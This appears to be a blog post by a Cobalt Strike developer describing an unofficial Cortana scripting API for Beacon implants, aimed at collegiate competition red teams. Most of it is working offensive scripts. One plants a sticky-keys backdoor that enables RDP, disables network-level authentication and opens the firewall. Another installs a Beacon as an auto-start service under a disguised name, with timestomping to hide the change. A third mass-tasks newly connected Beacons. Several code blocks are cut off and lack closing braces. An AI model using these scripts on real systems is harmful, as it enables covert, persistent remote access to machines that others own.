One common Cobalt Strike feature request is an API to script the Beacon payload. Doing this right is a big project and it requires some architectural changes within Cobalt Strike. I’m working on it. I have a major development effort underway to reshape Beacon’s role in Cobalt Strike. Scripting is one piece of this.

Right now, some automation is possible. Last year, I put together an “emergency API” to deploy persistence through Beacon. My normal methods were causing Meterpreter to crash and I needed another option. This API isn’t supported and it isn’t permanent. It’s a stop-gap. In the mean time, it may help you.


The bootleg Beacon scripting API adds a few functions to Cortana. [Cortana is Armitage and Cobalt Strike’s scripting engine. You can read more on it here.]

@data = beacons();

This function returns an array of information. Each entry in the array is a dictionary with all information Cobalt Strike knows about the beacon.

bcd([beacon ID], “directory”);

This function will change Beacon’s current working directory. This has the same effect as the cd command in Beacon.

%foo = bdata([beacon ID]);

This function returns a dictionary with information about the specific Beacon ID.

$foo = binfo([beacon ID], “key”);

This function queries the Beacon information and returns a key from it. For example, the Beacon information dictionary contains the user key. This is the username associated with the Beacon. Beacon adds a * to this name if the Beacon is running in a high-integrity (administrator) context. You can check for this * to see if you’re an admin or not.

bnote([beacon ID], “text”);

This function assigns a note to a Beacon. These notes are viewable under View -> Beacons.

bsleep([beacon ID], milliseconds, jitter factor);

This function changes the sleep time of a Beacon. Specify the sleep time in milliseconds. The jitter factor is a value, 0-99, that represents how much Beacon should randomly adjust its sleep time each beacon cycle.

bshell([beacon ID], “command”);

This function will ask Beacon to execute a command with the Windows command shell. This has the same effect as the shell command in Beacon. Beware that Cobalt Strike limits the run-time of these commands to 15-30s. This command is not suitable for long running tasks.

btimestomp([beacon ID], “dest file”, “source file”);

This function asks Beacon to apply the modified, last accessed, and created times of the source file to the destination file. This is a good way to make your changes blend in if you need to.

bupload([beacon id], “/path/to/local file”);

This function asks Beacon to upload a file. Please note, the path you provide is on your local system [the Cobalt Strike client]. You do not need to upload the file to the team server to use it with this function. If you want to reference a file in the same directory as your script, use the script_resource function. This function accepts a file name as an argument and returns the path to that file as if it were co-located with your script.

In all the above functions, [beacon id] is a string that represents a unique identifier for the current Beacon session. You need to know the identifier of a Beacon to issue these commands against it. One way to get this is to define a popup menu at the beacon_top hook.

popup beacon_top {
item "My ID" {
show_message("You have highlighted: $1");

The above menu will add a My ID menu to the top of the beacon right-click menu. All items and sub-menus defined within this hook have the variable $1. This argument is an array that contains all Beacons associated with the current popup. If you right-click inside of a Beacon window, this array will contain one item—the ID of the current Beacon. If you highlight 100+ Beacons in the View -> Beacons dialog—this array will contain the IDs of all those Beacons. This little Beacon API makes it trivial to mass task all of your Beacons. There’s also a beacon_bottom popup hook too.

Sticky Keys

Here’s how I do sticky keys persistence with the above Beacon scripting API:

popup beacon_top {
item "Sticky Keys" {
foreach $bid ($1) {

sub stickykeys {
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"');
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
bshell($1, 'net start TermService');

Deploy Beacon on Reboot with a Service

To survive reboots, I like to create services to run Beacon. To use this script—you will need to export a fully staged Beacon as a Windows Service Executable. Go to Attacks -> Packages -> Windows Executable (S). The Service Executable is an executable that responds to Windows Service Control Manager commands. If you try to use a normal executable, Windows will kill it shortly after it runs.

Fully-staged binaries contain everything Beacon needs to run. If Beacon can’t reach you initially—it’s OK, it’ll try to beacon again. The only downside to services is they run as SYSTEM. HTTP/HTTPS Beacons will not get through an authenticated proxy when run this way. For this reason, I use fully-staged DNS Beacons when I install a persistent service.

sub persist {
bcd($1, 'c:\windows\system32');

# create a netsrv.exe file and co-locate it with this script.
# remember netsrv.exe MUST be a service EXE.
bupload($1, script_resource("netsrv.exe"));
btimestomp($1, "netsrv.exe", "cmd.exe");
bshell($1, 'sc delete netsrv');
bshell($1, 'sc create netsrv binPath= "C:\windows\system32\netsrv.exe" start= auto DisplayName= "System Network Service"');
bshell($1, 'sc start netsrv');

popup beacon_top {
item "Create Service" {
foreach $bid ($1) {

React to a New Beacon

The above examples show how to use Beacon to set up a configuration backdoor and deploy a service. They’re pretty representative of what this small API does. I get a lot of questions from folks about how to write a script that responds to a new Beacon. Cortana does not expose an API to do this. That said, you can build this API with what I provide. This script registers a ten second timer handler that calls the beacons() function. This script extracts all Beacon IDs from this list of Beacons and looks for which IDs are new. It then fires a beacon_initial event for each new Beacon. Other scripts may use this event to react to new Beacons.


on heartbeat_10s {
local('@beacons $beacon $bid %data @new @all');

# grab all beacon ids AND build a map between ids and data
@beacons = beacons();
foreach $beacon (@beacons) {
$bid = $beacon['id'];
%data[$bid] = $beacon;
push(@all, $bid);

# remove old beacons from current list... I use copy(@all)
# because removeAll is destructive to its first argument
@new = removeAll(copy(@all), @old);

# with old beacons removed; we have our new beacons...
foreach $bid (@new) {
fire_event("beacon_initial", $bid, %data[$bid]);

# make our list of all beacons into our old list now
@old = @all;

And here’s an example of this beacon_initial event:

on beacon_initial {
local('$key $value');
println("I have a beacon: $1 from " . $2['internal']);
foreach $key => $value ($2) {
println("\t $+ $[10]key = $value");

You may be asking—why write about an undocumented API and why write about it now? March and April is the time of the year when the Collegiate Cyber Defense Competition is in full swing. Armitage was inspired by the need for red team collaboration at these events. Through a sponsorship agreement between Strategic Cyber LLC and National CCDC, Cobalt Strike is available to the regional and National CCDC red team members. Automated persistence is a key problem for the red teams at these events. If you’re on a CCDC red team, these scripts should help you put together something unique for your region.